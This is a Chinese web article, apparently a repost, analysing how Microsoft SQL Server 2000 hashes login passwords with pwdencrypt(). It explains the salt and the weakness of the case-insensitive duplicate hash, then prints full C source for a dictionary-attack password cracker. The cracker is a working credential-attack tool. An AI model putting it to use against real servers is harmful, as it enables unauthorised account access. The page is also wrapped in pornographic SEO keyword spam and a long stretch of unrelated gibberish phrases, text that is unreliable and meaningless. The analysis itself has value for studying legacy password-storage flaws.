精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

破解MSSQL中的HASH密碼

安全 數據安全
SQL服務器使用了一個沒有公開的函數pwdencrypt()對用戶密碼產生一個hash。通過研究我們可以發現這個hash儲存在mater數據庫的sysxlogins表里面。這個可能已經是眾所周知的事情了。

SQL服務器是怎樣儲存密碼的?

SQL服務器使用了一個沒有公開的函數pwdencrypt()對用戶密碼產生一個hash。通過研究我們可以發現這個hash儲存在mater數據庫的sysxlogins表里面。這個可能已經是眾所周知的事情了。

pwdencrypt()函數還沒有公布詳細的資料,我們這份文檔將詳細對這個函數進行討論,并將指出sql服務器儲存hash的這種方法的一些不足之處。實際上,等下我將會說‘密碼hashes’。(allyesno:后文會討論到,由于時間的關系即使當密碼相同的時候生成的hash也并不是唯一一個,所以是hashes)

SQL的密碼hash看起來是怎樣的呢?

我們使用查詢分析器,或者任何一個SQL客戶端來執行這條語句:select password from master.dbo.sysxlogins where name='sa'

屏幕會返回類似下面這行字符串的東東。0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B

這是我機子上登錄密碼的hash。

通過分析hash我們可以從中獲取pwdencrypt()的一些什么信息?

1.時間

首先我們使用查詢 select pwdencrypt() 來生成hash

select pwdencrypt('ph4nt0m')

生成hash

0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279BA19EFE77

ok再一次 select pwdencrypt('ph4nt0m')

0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3DBB106CFB

我們注意到,雖然兩次我們加密的字符串都是ph4nt0m但是生成的hash卻不一樣。那么是什么使兩次hash的結果不一樣呢,我們大膽的推測是時間在這里面起到了關鍵的作用,它是創建密碼hashes和儲存hashes的重要因素。之所以使用這樣的方式,是因為當兩個人輸入同樣的密碼時可以以此產生不同的密碼hashes用來掩飾他們的密碼是相同的。

2.大小寫(廣告時間:英漢網絡技術詞匯這本字典好,翻譯的時候很多金山詞霸找不到的東西,它都能弄出來)

使用查詢

select pwdencrypt('ALLYESNO')

我們將得到hash

0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91

通過觀察,我們可以發現這段hash中有兩段是相同的,如果你不能馬上看出來,讓我們把它截斷來看。

0x0100(固定)
4C61CD2D(補充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)

現在我們可以看出來最后兩組字符串是一模一樣的了。這說明這段密碼被相同的加密方式進行了兩次加密。一組是按照字符原型進行加密,另一組是按照字符的大寫形式進行了加密。當有人嘗試破解SQL密碼的時候將會比他預期要容易,這是一個糟糕的加密方式。因為破解密碼的人不需要理會字符原型是大寫還是小寫,他們只需要破解大寫字符就可以了。這將大大減少了破解密碼者所需要破解密碼的字符數量。(allyesno:flashsky的文章《淺談SQL SERVER數據庫口令的脆弱性》中曾經提到“如因為其算法一樣,如果HASH1=HASH2,就可以判斷口令肯定是未使用字母,只使用了數字和符號的口令”。實際上并不如flashsky所說的完全相同,我們使用了select pwdencrypt()進行加密以后就可以發現使用了數字和符號和大寫字母的密碼其hash1和hash2都會相同,所以這是flashsky文章中一個小小的bug)

#p#

補充key

根據上文所述,當時間改變的時候也會使得hash改變,在hash中有一些跟時間有關系的信息使得密碼的hashes不相同,這些信息是很容易獲取的。當我們登錄的時候依靠從登錄密碼中和數據庫中儲存的hash信息,就可以做一個比較從而分析出這部分信息,我們可以把這部分信息叫做補充key。

上文中我們獲取的hash中,補充key 4C61CD2D 就是這個信息的一部分。

這個key 4C61CD2D 由以下闡述的方法生成。

time()C 函數被調用作為一個種子傳遞給srand()函數。一旦srand()函數被作為rand()函數的種子并且被調用生成偽隨機key,srand()就會設置了一個起點產生一系列的(偽)隨機key。然后sql服務器會將這個key截斷取一部分,放置在內存里面。我們叫它key1。這個過程將會再運行一次并生成另一個key我們叫他key2。兩個key連在一起就生成了我們用來加密密碼的補充key。

密碼的散列法

用戶的密碼會被轉換成UNICODE形式。補充key會添加到他們后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}

以上的字符串將會被sql服務器使用pwdencrypt()函數進行加密(這個函數位于advapi32.dll)。生成兩個hash

0x0100(固定)
4C61CD2D(補充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)

驗證過程

用戶登錄SQL服務器的驗證過程是這樣子的:當用戶登陸的時候,SQL服務器在數據庫中調用上面例
子中的補充key4C61CD2D,將其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函數進行加密。然后把生成的hash跟數據庫內的hash進行對比,以此來驗證用戶輸入的密碼是否正確。

SQL服務器密碼破解

我們可以使用同樣的方式去破解SQL的密碼。當然我們會首先選擇使用大寫字母和符號做為字典進行破解,這比猜測小寫字母要來得容易。

一個命令行的MSSQL服務器HASH破解工具源代碼

以下是引用片段:
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#i nclude 
#i nclude 
#i nclude 
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn’t find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We’ve found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
 
責任編輯:佚名 來源: 黑客風云
相關推薦

2010-12-03 11:43:51

2014-05-30 09:41:16

2017-02-28 19:39:48

2017-03-16 09:45:49

2013-07-05 10:04:47

2010-06-10 15:44:53

2011-12-09 10:17:07

2010-06-13 13:10:09

MySQLROOT密碼

2012-05-11 10:16:17

2013-08-12 12:36:10

2010-08-30 14:10:08

2017-09-09 15:13:10

2020-12-13 17:57:16

加密密碼Python

2015-06-23 09:22:13

2014-11-19 09:15:35

2013-05-13 11:10:31

2012-07-27 15:59:59

2018-06-29 11:11:42

2020-12-21 16:00:07

Pythonzip文件密碼

2009-12-22 16:43:28

點贊
收藏

51CTO技術棧公眾號

亚洲免费观看高清完整版在线| 国产欧美午夜| 欧美一区二区大片| 欧美日韩激情四射| 女人偷人在线视频| 激情综合色综合久久综合| 欧美极品欧美精品欧美视频 | 日韩不卡av在线| 国产激情一区| 欧美性xxxxxxxxx| 一区二区三区四区五区精品| 成人免费观看在线视频| 日韩福利视频导航| 久99久在线视频| 91中文字幕永久在线| 国产一区二区三区免费在线| 日韩欧美国产网站| 欧美做暖暖视频| av大片在线播放| av不卡一区二区三区| 成人国产精品一区二区| 91美女免费看| 在线看片不卡| 在线观看日韩www视频免费| 熟女人妻一区二区三区免费看| 日韩精选视频| 午夜a成v人精品| 男人j进女人j| av大全在线免费看| 久久午夜羞羞影院免费观看| 91黄色精品| 曰批又黄又爽免费视频| 国产欧美一级| 久久久久女教师免费一区| 国产成人精品视频免费| 亚洲人成网亚洲欧洲无码| 欧美成人精品二区三区99精品| 手机视频在线观看| 性欧美videohd高精| 午夜电影网一区| 欧美无砖专区免费| 超碰免费在线播放| 国产精品久久久久aaaa樱花| 天堂精品一区二区三区| 日韩一二三四| av一二三不卡影片| 国产精品美女黄网| www.久久色| 国产精品中文欧美| 91欧美激情另类亚洲| 91成人国产综合久久精品| 老色鬼久久亚洲一区二区| 午夜精品蜜臀一区二区三区免费| 久久久综合久久久| 欧美91大片| 欧美成人合集magnet| 日韩精品123区| 婷婷中文字幕一区| 精品国偷自产在线| 久久爱一区二区| 1024精品久久久久久久久| 日韩亚洲精品电影| 亚洲欧美精品久久| 一区二区三区毛片免费| 欧美成人剧情片在线观看| 暗呦丨小u女国产精品| 天天天综合网| 久久人人爽亚洲精品天堂| 四虎永久免费在线| 欧美高清一区| 欧美极度另类性三渗透| 日本视频免费在线| 久久久久国产一区二区| 国产成人在线一区二区| 中文字幕+乱码+中文乱码91| 美腿丝袜亚洲一区| 91免费综合在线| 黄色一级大片在线免费看国产一 | 亚洲一区 二区 三区| 美女av一区二区三区| 麻豆一区二区三区精品视频| 一本色道久久综合亚洲精品高清 | 精品福利av导航| www.日本高清| 国产亚洲电影| 久久精品国产一区二区三区 | 少妇性bbb搡bbb爽爽爽欧美| 久久精品在这里| 夜夜春亚洲嫩草影视日日摸夜夜添夜 | 91香蕉一区二区三区在线观看| 一精品久久久| 2019中文字幕在线观看| 国语对白做受69按摩| 国产资源在线一区| 好看的日韩精品视频在线| 国产高清美女一级毛片久久| 一区二区三区在线视频观看58| 成 年 人 黄 色 大 片大 全| 日本综合视频| 日韩免费看网站| 91网站免费入口| 91高清一区| 欧洲美女7788成人免费视频| 96亚洲精品久久久蜜桃| 99精品在线免费| 亚洲在线视频一区二区| 九色porny丨国产首页在线| 欧美日韩在线观看一区二区 | www.av亚洲| 伊人久久大香线蕉av一区| av中文字幕在线观看第一页| 欧美又粗又大又爽| 男人网站在线观看| 99久久久国产精品美女| 欧美在线视频a| 精品国产伦一区二区三| 国产日本欧美一区二区| 欧洲精品在线播放| 欧洲亚洲精品| 亚洲人线精品午夜| 国产午夜久久久| 精品制服美女丁香| 欧美一区二区三区在线播放| 国产白丝在线观看| 91精选在线观看| 色欲AV无码精品一区二区久久| 亚洲国产高清一区| 亚洲一区精品电影| 日本中文字幕伦在线观看| 色综合色综合色综合色综合色综合| 色黄视频免费看| 久久美女视频| 国产精品成人免费视频| 欧美色18zzzzxxxxx| 亚洲国产精品自拍| 中文字幕乱妇无码av在线| 久久国产综合| 国产精品久久久久久超碰| 天堂网在线观看视频| 一区二区日韩av| 亚洲在线观看网站| 91精品综合久久久久久久久久久| 日韩免费观看视频| 无码国产精品一区二区色情男同 | 成人久久久精品乱码一区二区三区| 黄色一级片网址| 欧美一级在线| 日韩亚洲第一页| 一级做a爱片久久毛片| 国产精品久久久久久一区二区三区 | 国产a级片视频| 亚洲天天影视网| 亚洲自拍偷拍网址| 亚洲男同gay网站| 日韩欧美不卡在线观看视频| 免费一级全黄少妇性色生活片| 精品一区二区免费| 中文字幕日韩一区二区三区 | 粉嫩av四季av绯色av第一区| 伊人电影在线观看| 欧美成人一区二区三区片免费| 美女的奶胸大爽爽大片| 国产.精品.日韩.另类.中文.在线.播放| 小泽玛利亚av在线| 国产成人精品福利| 欧美亚洲国产日本| 国产黄色片在线播放| 欧美三级资源在线| 国产一区二区播放| 国产福利不卡视频| 欧美一级免费播放| 天天躁日日躁狠狠躁欧美| 日韩av成人在线观看| 在线看免费av| 欧美一级艳片视频免费观看| 免费网站看av| av亚洲产国偷v产偷v自拍| 日日鲁鲁鲁夜夜爽爽狠狠视频97 | 日韩高清a**址| 亚洲 欧美 中文字幕| 国产精品乱人伦| 九九九久久久久久久| 国内精品久久久久久久97牛牛 | 成人在线视频你懂的| 51色欧美片视频在线观看| 福利在线播放| 日韩一二三区不卡| 青青草av在线播放| 国产精品久久久久久亚洲伦| 91精品国产三级| 夜久久久久久| 中文字幕乱码一区二区三区| 99这里只有精品视频| 欧美在线观看网站| 日本中文字幕在线2020| 亚洲高清一区二| 中文字幕男人天堂| 亚洲一二三级电影| 无码少妇精品一区二区免费动态| 狠狠色丁香婷婷综合久久片| www在线观看免费| 热久久天天拍国产| 国产欧美日韩综合精品二区| 国产福利亚洲| 2019国产精品自在线拍国产不卡| 91精彩视频在线播放| 精品精品国产高清一毛片一天堂| 无码免费一区二区三区| 亚洲资源中文字幕| av免费播放网站| av中文字幕不卡| 日韩不卡的av| 免费精品视频最新在线| 91精品国产91久久久久麻豆 主演| 精品国产精品国产偷麻豆| 国产精品区一区二区三在线播放| 成人免费一区| 91国语精品自产拍在线观看性色 | 国产主播第一页| 尤物在线观看一区| 九九九视频在线观看| 99在线视频精品| 久久发布国产伦子伦精品| 日本欧美大码aⅴ在线播放| 欧美深夜福利视频| 欧美a级在线| 亚洲精品无人区| 欧美猛男做受videos| 好看的日韩精品视频在线| 午夜视频在线观看精品中文| 国产日韩av高清| 韩国三级一区| 日韩美女在线看| 在线一区av| 97在线看免费观看视频在线观看| av黄色在线| 欧美xxxx做受欧美.88| 精品美女在线观看视频在线观看| 中文字幕av一区中文字幕天堂 | 粉嫩av一区二区三区| 欧美国产日韩另类| 麻豆国产精品官网| 一级在线免费视频| 日韩精品视频网站| 成年人免费大片| 日韩精品一卡二卡三卡四卡无卡| 日韩精品一区二区三区色欲av| 国产精品婷婷| av动漫在线看| 免费视频一区| 高清在线观看免费| 国产欧美日韩一区二区三区在线| 国产视频一视频二| 99视频一区| 男女午夜激情视频| 久久一区视频| 性欧美极品xxxx欧美一区二区| 久久久久久黄| 日本xxxx黄色| 国产一区二区在线观看免费| 日本高清免费观看| 国产成人免费在线| 欧美肉大捧一进一出免费视频| 波多野结衣一区二区三区| 日b视频在线观看| 久久理论电影网| 丰满的亚洲女人毛茸茸| 国产精品久久午夜| 九九视频免费观看| 精品成人乱色一区二区| 中文字幕精品视频在线观看| 欧美视频一区在线| 国产三级伦理片| 亚洲福利在线观看| 欧美新色视频| 北条麻妃在线一区二区| 日本乱理伦在线| 91精品国产网站| 97人人做人人爽香蕉精品| 亚洲a中文字幕| 欧美人成在线观看ccc36| 欧美在线3区| 欧美二区视频| 久久美女福利视频| 蜜桃视频免费观看一区| 欧美一区二区三区影院| 91浏览器在线视频| 自拍偷拍第9页| 亚洲一区二区在线播放相泽| 久久国产黄色片| 欧美高清dvd| 手机在线不卡av| 自拍偷拍亚洲一区| h片精品在线观看| 国产精品三级久久久久久电影| 秋霞一区二区三区| 你懂的网址一区二区三区| 亚洲成人精选| 欧美激情精品久久久久久小说| 国产在线看一区| 黑人巨大精品欧美| 一区二区三区欧美激情| 一级片在线观看免费| 欧美一区二区三区免费| 欧美另类自拍| 色综合五月天导航| 巨大黑人极品videos精品| 国内精品**久久毛片app| 99视频精品视频高清免费| 日韩免费视频播放| 国内精品视频一区二区三区八戒| 中文字幕在线看高清电影| 樱花草国产18久久久久| 伊人网免费视频| 精品亚洲永久免费精品| 成人日批视频| 日本成人激情视频| 91久久偷偷做嫩草影院电| 一区二区不卡在线观看| 免费亚洲视频| 日本一卡二卡在线| 亚洲精品国产高清久久伦理二区| 一级片在线免费播放| 国产视频精品免费播放| 特级毛片在线| 成人黄色在线观看| 精品美女久久| 久草精品在线播放| jlzzjlzz亚洲日本少妇| 亚洲欧美一区二区三区四区五区| 91福利资源站| 男同在线观看| 91wwwcom在线观看| jazzjazz国产精品久久| 国风产精品一区二区| 激情综合色播五月| 99自拍偷拍视频| 欧美三级中文字幕在线观看| 国产免费永久在线观看| 日本视频久久久| 久久99国产成人小视频| 日本免费不卡一区二区| 99久久er热在这里只有精品66| 国产91av视频| 欧美精品一区二区三| 黄网av在线| 福利精品视频| 激情久久久久久久| 日本不卡视频一区| 亚洲成人在线观看视频| 高清毛片aaaaaaaaa片| 色综合久久88色综合天天看泰| 日本少妇精品亚洲第一区| 国产在线拍揄自揄拍无码| 国产在线视频一区二区| 九九九免费视频| 欧美tickling网站挠脚心| 成人影音在线| 久久福利电影| 久久精品欧洲| 亚洲综合欧美综合| 欧美日韩精品专区| 1区2区在线观看| 成人片在线免费看| 亚洲东热激情| 中文幕无线码中文字蜜桃| 亚洲国产欧美日韩在线观看第一区| 91精品国产欧美一区二区| 免费在线观看av片| 5566中文字幕一区二区| 黄色在线一区| 久久人妻少妇嫩草av无码专区| 色综合天天综合网天天看片| 国产无套粉嫩白浆在线2022年| 国产精品色午夜在线观看| 亚洲国产精品91| 风韵丰满熟妇啪啪区老熟熟女| 天天色综合天天| 97最新国自产拍视频在线完整在线看| 国产日韩精品视频| 亚洲国产不卡| 毛茸茸多毛bbb毛多视频| 欧美性大战久久久| caopon在线免费视频| 国产一区自拍视频| 日本在线播放一区二区三区| 国语对白在线播放| 亚洲国产又黄又爽女人高潮的| 日韩成人亚洲| 欧美 国产 精品| 久久亚洲精品国产精品紫薇| 国产伦精品一区二区三区视频痴汉| 国内精品国产三级国产在线专| 成人精品电影| 免费黄视频在线观看| 日本韩国一区二区三区| 青春草在线免费视频| 三区精品视频| 成人网页在线观看| 中文字幕资源网|